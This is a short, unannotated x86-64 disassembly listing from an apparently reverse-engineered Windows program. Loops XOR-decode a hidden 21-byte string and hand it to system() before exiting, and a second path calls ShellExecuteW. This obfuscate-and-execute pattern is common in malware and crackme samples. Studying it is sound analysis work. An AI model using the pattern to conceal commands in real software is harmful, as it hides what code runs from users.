movdqa xmm7, xmmword [0x7ff7382d2cc0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x7ff7382d2d10]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r9
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff7382d2d00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x10
jl 0x7ff73824dda0
cmp eax, 0x15
jge 0x7ff73824dee0
movsxd r8, r14d
add r8, r9
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r14b
sub al, cl
add al, 0x36
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x15
jl 0x7ff73824deb0
mov rcx, r9
call qword [sym.imp.ucrtbase.dll_system]
xor ecx, ecx
jmp qword [sym.imp.ucrtbase.dll_exit]
lea r8, [0x7ff7382d1da0]
jmp 0x7ff73824df02
lea r8, [0x7ff7382d1d50]
mov dword [rsp + 0x28], 5
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.shell32.dll_ShellExecuteW]
nop
lea rcx, [rbp + 0x40]
call fcn.7ff73824e4b0
xor eax, eax
jmp 0x7ff73824829a
call fcn.7ff73824fa50
int3
call fcn.7ff73824fa50
int3
call fcn.7ff73824fa50
int3
call fcn.7ff73824fa50
int3
call fcn.7ff73824fa50
int3